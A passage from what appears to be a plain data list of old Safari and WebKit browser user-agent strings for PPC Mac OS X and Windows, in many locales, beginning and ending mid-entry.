U; PPC Mac OS X; en) AppleWebKit/124 (KHTML, like Gecko) -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/124 (KHTML, like Gecko) Safari/125 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/125.2 (KHTML, like Gecko) Safari/125.7 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/125.2 (KHTML, like Gecko) Safari/125.8 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/125.2 (KHTML, like Gecko) Safari/85.8 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/125.4 (KHTML, like Gecko) Safari/100 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/125.4 (KHTML, like Gecko) Safari/125.9 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/125.5.5 (KHTML, like Gecko) Safari/125 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/125.5.5 (KHTML, like Gecko) Safari/125.11 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/125.5.5 (KHTML, like Gecko) Safari/125.12 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/125.5.5 (KHTML, like Gecko) Safari/125.5.5 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/125.5.6 (KHTML, like Gecko) Safari/125.12 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/125.5.7 (KHTML, like Gecko) Safari/125.12 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/125.5 (KHTML, like Gecko) Safari/125.9 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/312.1.1 (KHTML, like Gecko) Safari/312 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/312.1 (KHTML, like Gecko) Safari/312 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/312.5.1 (KHTML, like Gecko) Safari/125.9 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/312.5.1 (KHTML, like Gecko) Safari/312.3.1 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/312.5.2 (KHTML, like Gecko) Safari/125 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/312.5.2 (KHTML, like Gecko) Safari/312.3.3 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/312.5 (KHTML, like Gecko) Safari/312.3 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/312.8.1 (KHTML, like Gecko) Safari/312.6 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/312.8 (KHTML, like Gecko) Safari/312.3.3 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/312.8 (KHTML, like Gecko) Safari/312.5 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/312.8 (KHTML, like Gecko) Safari/312.6 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/412.6.2 (KHTML, like Gecko) -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/412.6.2 (KHTML, like Gecko) Safari/412.2.2 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/412.6 (KHTML, like Gecko) Safari/412.2 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/412.7 (KHTML, like Gecko) Safari/412.5 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/412.7 (KHTML, like Gecko) Safari/412.6 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/412 (KHTML, like Gecko) Safari/412 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/416.11 (KHTML, like Gecko) -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/416.11 (KHTML, like Gecko) Safari/416.12 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/416.12 (KHTML, like Gecko) Safari/416.13 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/418.9.1 (KHTML, like Gecko) Safari/419.3 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/418.9 (KHTML, like Gecko) Safari/419.3 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/418 (KHTML, like Gecko) Safari/417.9.2 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/418 (KHTML, like Gecko) Safari/417.9.3 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/419 (KHTML, like Gecko) Safari/419.3 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/522.11.1 (KHTML, like Gecko) Version/3.0.3 Safari/522.12.1 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/522.11 (KHTML, like Gecko) Version/3.0.2 Safari/522.12 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/523.3+ (KHTML, like Gecko) Version/3.0.3 Safari/522.12.1 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/85.8.2 (KHTML, like Gecko) Safari/85.8.1 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/85.8.5 (KHTML, like Gecko) Safari/85.8.1 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-au) AppleWebKit/125.4 (KHTML, like Gecko) Safari/125.9 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en_CA) AppleWebKit/125.4 (KHTML, like Gecko) Safari/125.9 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-ca) AppleWebKit/416.11 (KHTML, like Gecko) Safari/416.12 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en_CA) AppleWebKit/419 (KHTML, like Gecko) Safari/419.3 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-gb) AppleWebKit/125.2 (KHTML, like Gecko) Safari/125.8 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-gb) AppleWebKit/85.8.5 (KHTML, like Gecko) Safari/85.8.1 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-us) AppleWebKit/124 (KHTML, like Gecko) Safari/125 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-us) AppleWebKit/125.2 (KHTML, like Gecko) Safari/125.7 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-us) AppleWebKit/125.4 (KHTML, like Gecko) Safari/125.9 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-us) AppleWebKit/125.5.5 (KHTML, like Gecko) Safari/125.11 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-us) AppleWebKit/125.5.5 (KHTML, like Gecko) Safari/125.12 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-us) AppleWebKit/125.5.6 (KHTML, like Gecko) Safari/125.12 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-us) AppleWebKit/125.5.7 (KHTML, like Gecko) Safari/125.12 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-us) AppleWebKit/312.1 (KHTML, like Gecko) -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-us) AppleWebKit/312.1 (KHTML, like Gecko) Safari/312 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-us) AppleWebKit/312.5.1 (KHTML, like Gecko) Safari/312.3.1 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-us) AppleWebKit/312.5 (KHTML, like Gecko) Safari/312.3 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-us) AppleWebKit/312.8.1 (KHTML, like Gecko) Safari/312.6 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-us) AppleWebKit/312.8 (KHTML, like Gecko) Safari/312.5 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-us) AppleWebKit/312.8 (KHTML, like Gecko) Safari/312.6 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-us) AppleWebKit/412.6 (KHTML, like Gecko) Safari/412.2 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-us) AppleWebKit/412.7 (KHTML, like Gecko) Safari/412.5 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-us) AppleWebKit/412 (KHTML, like Gecko) Safari/412 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en_US) AppleWebKit/412 (KHTML, like Gecko) Safari/412 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-us) AppleWebKit/412 (KHTML, like Gecko) Safari/412 Privoxy/3.0 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-us) AppleWebKit/416.11 (KHTML, like Gecko) Safari/416.12 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-us) AppleWebKit/416.12 (KHTML, like Gecko) Safari/416.13 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-us) AppleWebKit/417.9 (KHTML, like Gecko) Safari/417.8 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-us) AppleWebKit/417.9 (KHTML, like Gecko) Safari/417.9.2 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-us) AppleWebKit/418.8 (KHTML, like Gecko) Safari/419.3 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-us) AppleWebKit/418.9 (KHTML, like Gecko) Safari/419.3 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-us) AppleWebKit/418 (KHTML, like Gecko) Safari/417.9.2 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-us) AppleWebKit/419 (KHTML, like Gecko) Safari/419.3 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-us) AppleWebKit/522.11 (KHTML, like Gecko) Version/3.0.2 Safari/522.12 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-us) AppleWebKit/522+ (KHTML, like Gecko) Version/3.0.2 Safari/522.12 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-us) AppleWebKit/523.10.3 (KHTML, like Gecko) Version/3.0.4 Safari/523.10 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-us) AppleWebKit/523.6 (KHTML, like Gecko) Version/3.0.3 Safari/523.6 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-us) AppleWebKit/85.7 (KHTML, like Gecko) Safari/85.5 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-us) AppleWebKit/85.7 (KHTML, like Gecko) Safari/85.6 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-us) AppleWebKit/85.8.2 (KHTML, like Gecko) Safari/85.8 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-us) AppleWebKit/85.8.5 (KHTML, like Gecko) Safari/85.8.1 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; es) AppleWebKit/312.5.1 (KHTML, like Gecko) Safari/312.3.1 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; es) AppleWebKit/417.9 (KHTML, like Gecko) Safari/417.8 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; es) AppleWebKit/418 (KHTML, like Gecko) Safari/417.9.3 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; es) AppleWebKit/419 (KHTML, like Gecko) Safari/419.3 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; es-es) AppleWebKit/125.2 (KHTML, like Gecko) Safari/125.8 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; es-es) AppleWebKit/312.5.2 (KHTML, like Gecko) Safari/312.3.3 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; es-ES) AppleWebKit/412 (KHTML, like Gecko) Safari/412 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; es-es) AppleWebKit/418.8 (KHTML, like Gecko) Safari/419.3 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; fi-fi) AppleWebKit/418.8 (KHTML, like Gecko) Safari/419.3 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; fi-fi) AppleWebKit/420+ (KHTML, like Gecko) Safari/419.3 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; fr) AppleWebKit/312.5.1 (KHTML, like Gecko) Safari/312.3.1 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; fr) AppleWebKit/312.5.2 (KHTML, like Gecko) Safari/312.3.3 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; fr) AppleWebKit/312.5 (KHTML, like Gecko) Safari/312.3 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; fr) AppleWebKit/312.8 (KHTML, like Gecko) Safari/312.5 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; fr) AppleWebKit/412.6 (KHTML, like Gecko) Safari/412.2 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; fr) AppleWebKit/412.7 (KHTML, like Gecko) Safari/412.5 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; fr) AppleWebKit/412 (KHTML, like Gecko) Safari/412 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; fr) AppleWebKit/416.11 (KHTML, like Gecko) Safari/416.12 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; fr) AppleWebKit/416.12 (KHTML, like Gecko) Safari/412.5 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; fr) AppleWebKit/416.12 (KHTML, like Gecko) Safari/416.13 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; fr) AppleWebKit/416.12 (KHTML, like Gecko) Safari/416.13_Adobe -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; fr) AppleWebKit/417.9 (KHTML, like Gecko) -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; fr) AppleWebKit/417.9 (KHTML, like Gecko) Safari/417.8 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; fr) AppleWebKit/418.9.1 (KHTML, like Gecko) Safari/419.3 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; fr) AppleWebKit/85.7 (KHTML, like Gecko) Safari/85.5 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; fr) AppleWebKit/85.8.5 (KHTML, like Gecko) Safari/85.8.1 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; fr-ca) AppleWebKit/312.1 (KHTML, like Gecko) Safari/312 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; fr-ch) AppleWebKit/125.5.5 (KHTML, like Gecko) Safari/125.11 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; fr-ch) AppleWebKit/125.5.5 (KHTML, like Gecko) Safari/125.12 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; fr-ch) AppleWebKit/312.1.1 (KHTML, like Gecko) Safari/312 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; fr-fr) AppleWebKit/125.4 (KHTML, like Gecko) Safari/125.9 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; fr-fr) AppleWebKit/125.5.5 (KHTML, like Gecko) Safari/125.11 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; fr-fr) AppleWebKit/125.5.5 (KHTML, like Gecko) Safari/125.12 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; fr-fr) AppleWebKit/125.5.6 (KHTML, like Gecko) Safari/125.12 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; fr-fr) AppleWebKit/125.5 (KHTML, like Gecko) Safari/125.9 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; fr-fr) AppleWebKit/312.1.1 (KHTML, like Gecko) Safari/312 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; fr-fr) AppleWebKit/312.1 (KHTML, like Gecko) Safari/125 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; fr-fr) AppleWebKit/312.1 (KHTML, like Gecko) Safari/312 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; fr-fr) AppleWebKit/312.5.1 (KHTML, like Gecko) Safari/312.3.1 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; fr-fr) AppleWebKit/312.5.2 (KHTML, like Gecko) Safari/312.3.3 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; fr-fr) AppleWebKit/312.5 (KHTML, like Gecko) Safari/312.3 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; fr-fr) AppleWebKit/312.8 (KHTML, like Gecko) Safari/312.5 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; fr-fr) AppleWebKit/312.8 (KHTML, like Gecko) Safari/312.6 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; fr-fr) AppleWebKit/412.7 (KHTML, like Gecko) Safari/412.5 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; fr-fr) AppleWebKit/412 (KHTML, like Gecko) Safari/412 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; fr-fr) AppleWebKit/416.11 (KHTML, like Gecko) Safari/416.12 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; fr-fr) AppleWebKit/416.12 (KHTML, like Gecko) Safari/416.13 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; fr-fr) AppleWebKit/417.9 (KHTML, like Gecko) Safari/417.8 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; fr-fr) AppleWebKit/523.10.3 (KHTML, like Gecko) Version/3.0.4 Safari/523.10 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; fr-fr) AppleWebKit/85.7 (KHTML, like Gecko) Safari/85.5 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; fr-fr) AppleWebKit/85.8.5 (KHTML, like Gecko) Safari/85.8.1 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; it-it) AppleWebKit/124 (KHTML, like Gecko) Safari/125.1 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; it-it) AppleWebKit/312.1 (KHTML, like Gecko) Safari/312 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; it-it) AppleWebKit/312.5.1 (KHTML, like Gecko) Safari/312.3.1 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; it-it) AppleWebKit/312.8 (KHTML, like Gecko) Safari/312.6 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; it-it) AppleWebKit/412.6 (KHTML, like Gecko) Safari/412.2 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; it-it) AppleWebKit/412.7 (KHTML, like Gecko) Safari/412.5 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; it-it) AppleWebKit/416.12 (KHTML, like Gecko) Safari/416.13 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; it-it) AppleWebKit/417.9 (KHTML, like Gecko) Safari/417.8 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; it-it) AppleWebKit/417.9 (KHTML, like Gecko) Safari/417.9.2 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; it-it) AppleWebKit/418.9 (KHTML, like Gecko) Safari/419.3 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; it-it) AppleWebKit/419 (KHTML, like Gecko) Safari/419.3 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; ja-jp) AppleWebKit/125.4 (KHTML, like Gecko) Safari/125.9 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; ja-jp) AppleWebKit/312.5.1 (KHTML, like Gecko) Safari/312.3.1 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; ja-jp) AppleWebKit/412.7 (KHTML, like Gecko) Safari/412.5 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; ja-jp) AppleWebKit/416.12 (KHTML, like Gecko) Safari/416.13 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; ja-jp) AppleWebKit/418.9.1 (KHTML, like Gecko) Safari/419.3 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; ja-jp) AppleWebKit/418.9 (KHTML, like Gecko) Safari/419.3 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; ja-jp) AppleWebKit/85.7 (KHTML, like Gecko) Safari/85.5 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; nb-no) AppleWebKit/416.12 (KHTML, like Gecko) Safari/416.13 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; nb-no) AppleWebKit/417.9 (KHTML, like Gecko) Safari/417.8 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; nb-no) AppleWebKit/418 (KHTML, like Gecko) Safari/417.9.3 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; nl-nl) AppleWebKit/416.11 (KHTML, like Gecko) Safari/312 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; nl-nl) AppleWebKit/416.11 (KHTML, like Gecko) Safari/416.12 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; nl-nl) AppleWebKit/416.12 (KHTML, like Gecko) Safari/416.13 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; nl-nl) AppleWebKit/417.9 (KHTML, like Gecko) Safari/417.8 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; nl-nl) AppleWebKit/417.9 (KHTML, like Gecko) Safari/417.9.2 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; nl-nl) AppleWebKit/418.8 (KHTML, like Gecko) Safari/419.3 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; nl-nl) AppleWebKit/418 (KHTML, like Gecko) Safari/417.9.3 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; pt-pt) AppleWebKit/418.9.1 (KHTML, like Gecko) Safari/419.3 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; sv-se) AppleWebKit/312.5.1 (KHTML, like Gecko) Safari/312.3.1 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; sv-se) AppleWebKit/312.5.2 (KHTML, like Gecko) Safari/312.3.3 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; sv-se) AppleWebKit/312.8 (KHTML, like Gecko) Safari/312.5 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; sv-se) AppleWebKit/417.9 (KHTML, like Gecko) Safari/417.8_Adobe -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; sv-se) AppleWebKit/418.9 (KHTML, like Gecko) Safari/ -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; sv-se) AppleWebKit/418.9 (KHTML, like Gecko) Safari/419.3 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; sv-se) AppleWebKit/418 (KHTML, like Gecko) Safari/417.9.3 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; sv-se) AppleWebKit/419 (KHTML, like Gecko) Safari/419.3 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; sv-se) AppleWebKit/523.12.2 (KHTML, like Gecko) Version/3.0.4 Safari/523.12.2 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; sv-se) AppleWebKit/85.7 (KHTML, like Gecko) Safari/85.5 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; tr-tr) AppleWebKit/418 (KHTML, like Gecko) Safari/417.9.3 -Mozilla/5.0 (Windows NT 5.1) AppleWebKit/534.34 (KHTML, like Gecko) Dooble/1.40 Safari/534.34 -Mozilla/5.0 (Windows; U; en) AppleWebKit/420+ (KHTML, like Gecko) Version/3.1.2 Safari/525.21 -Mozilla/5.0 (Windows; U; Windows NT 5.0; en) AppleWebKit/522.12.1 (KHTML, like Gecko) Version/3.0.1 Safari/522.12.2 -Mozilla/5.0 (Windows; U; Windows NT 5.0; en-en) AppleWebKit/533.16 (KHTML, like Gecko) Version/4.1 Safari/533.16 -Mozilla/5.0 (Windows; U; Windows NT 5.1; ca-es) AppleWebKit/525.18 (KHTML, like Gecko) Version/3.1.1 Safari/525.20 -Mozilla/5.0 (Windows; U; Windows NT 5.1; cs) AppleWebKit/522.13.1 (KHTML, like Gecko) Version/3.0.2 Safari/522.13.1 -Mozilla/5.0 (Windows; U; Windows NT 5.1; cs) AppleWebKit/522.15.5 (KHTML, like Gecko) Version/3.0.3 Safari/522.15.5 -Mozilla/5.0 (Windows; U; Windows NT 5.1; cs-CZ) AppleWebKit/525.28.3 (KHTML, like Gecko) Version/3.2.3 Safari/525.29 -Mozilla/5.0 (Windows; U; Windows NT 5.1; cs-CZ) AppleWebKit/531.22.7 (KHTML, like Gecko) Version/4.0.5 Safari/531.22.7 -Mozilla/5.0 (Windows; U; Windows NT 5.1; da) AppleWebKit/522.15.5 (KHTML, like Gecko) Version/3.0.3 Safari/522.15.5 -Mozilla/5.0 (Windows; U; Windows NT 5.1; da-DK) AppleWebKit/523.11.1+ (KHTML, like Gecko) Version/3.0.3 Safari/522.15.5 -Mozilla/5.0 (Windows; U; Windows NT 5.1; da-dk) AppleWebKit/523.15.1 (KHTML, like Gecko) Version/3.0.4 Safari/523.15 -Mozilla/5.0 (Windows; U; Windows NT 5.1; da-DK) AppleWebKit/525.13 (KHTML, like Gecko) Version/3.1 Safari/525.13.3 -Mozilla/5.0 (Windows; U; Windows NT 5.1; de) AppleWebKit/522.15.5 (KHTML, like Gecko) Version/3.0.3 Safari/522.15.5 -Mozilla/5.0 (Windows; U; Windows NT 5.1; de-DE) AppleWebKit/532+ (KHTML, like Gecko) Version/4.0.4 Safari/531.21.10 -Mozilla/5.0 (Windows; U; Windows NT 5.1; el) AppleWebKit/522.13.1 (KHTML, like Gecko) Version/3.0.2 Safari/522.13.1 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en) AppleWebKit/522.12.1 (KHTML, like Gecko) Version/3.0.1 Safari/522.12.2 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en) AppleWebKit/522.13.1 (KHTML, like Gecko) Version/3.0.2 Safari/522.13.1 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en) AppleWebKit/522.15.5 (KHTML, like Gecko) Version/3.0.3 Safari/522.15.5 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en) AppleWebKit/522.4.1+ (KHTML, like Gecko) Version/3.0.1 Safari/522.12.2 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en) AppleWebKit/526.9 (KHTML, like Gecko) Version/4.0dp1 Safari/526.8 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB) AppleWebKit/525.19 (KHTML, like Gecko) Version/3.1.2 Safari/525.21 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.18 (KHTML, like Gecko) Version/3.1.1 Safari/525.17 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.28 (KHTML, like Gecko) Version/3.2.2 Safari/525.28.1 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525+ (KHTML, like Gecko) Version/3.1.1 Safari/525.17 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/528.8 (KHTML, like Gecko) -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/530.19.2 (KHTML, like Gecko) Version/4.0.2 Safari/530.19.1 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.3 Safari/533.19.4 -Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES) AppleWebKit/525.13 (KHTML, like Gecko) Version/3.1 Safari/525.13 -Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES) AppleWebKit/525.28 (KHTML, like Gecko) Version/3.2.2 Safari/525.28.1 -Mozilla/5.0 (Windows; U; Windows NT 5.1; fi-FI) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16 -Mozilla/5.0 (Windows; U; Windows NT 5.1; fr) AppleWebKit/522.15.5 (KHTML, like Gecko) Version/3.0.3 Safari/522.15.5 -Mozilla/5.0 (Windows; U; Windows NT 5.1; fr-FR) AppleWebKit/523.15 (KHTML, like Gecko) Version/3.0 Safari/523.15 -Mozilla/5.0 (Windows; U; Windows NT 5.1; fr-FR) AppleWebKit/525.19 (KHTML, like Gecko) Version/3.1.2 Safari/525.21 -Mozilla/5.0 (Windows; U; Windows NT 5.1; fr-FR) AppleWebKit/525.28 (KHTML, like Gecko) Version/3.2.2 Safari/525.28.1 -Mozilla/5.0 (Windows; U; Windows NT 5.1; fr-FR) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16 -Mozilla/5.0 (Windows; U; Windows NT 5.1; hr) AppleWebKit/522.11.3 (KHTML, like Gecko) Version/3.0 Safari/522.11.3 -Mozilla/5.0 (Windows; U; Windows NT 5.1; hu-HU) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16 -Mozilla/5.0 (Windows; U; Windows NT 5.1; id) AppleWebKit/522.11.3 (KHTML, like Gecko) Version/3.0 Safari/522.11.3 -Mozilla/5.0 (Windows; U; Windows NT 5.1; it) AppleWebKit/522.13.1 (KHTML, like Gecko) Version/3.0.2 Safari/522.13.1 -Mozilla/5.0 (Windows; U; Windows NT 5.1; it-IT) AppleWebKit/525.19 (KHTML, like Gecko) Version/3.1.2 Safari/525.21 -Mozilla/5.0 (Windows; U; Windows NT 5.1; it-IT) AppleWebKit/525+ (KHTML, like Gecko) Version/3.1.2 Safari/525.21 -Mozilla/5.0 (Windows; U; Windows NT 5.1; it-IT) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.3 Safari/533.19.4 -Mozilla/5.0 (Windows; U; Windows NT 5.1; ja-JP) AppleWebKit/525.27.1 (KHTML, like Gecko) Version/3.2.1 Safari/525.27.1 -Mozilla/5.0 (Windows; U; 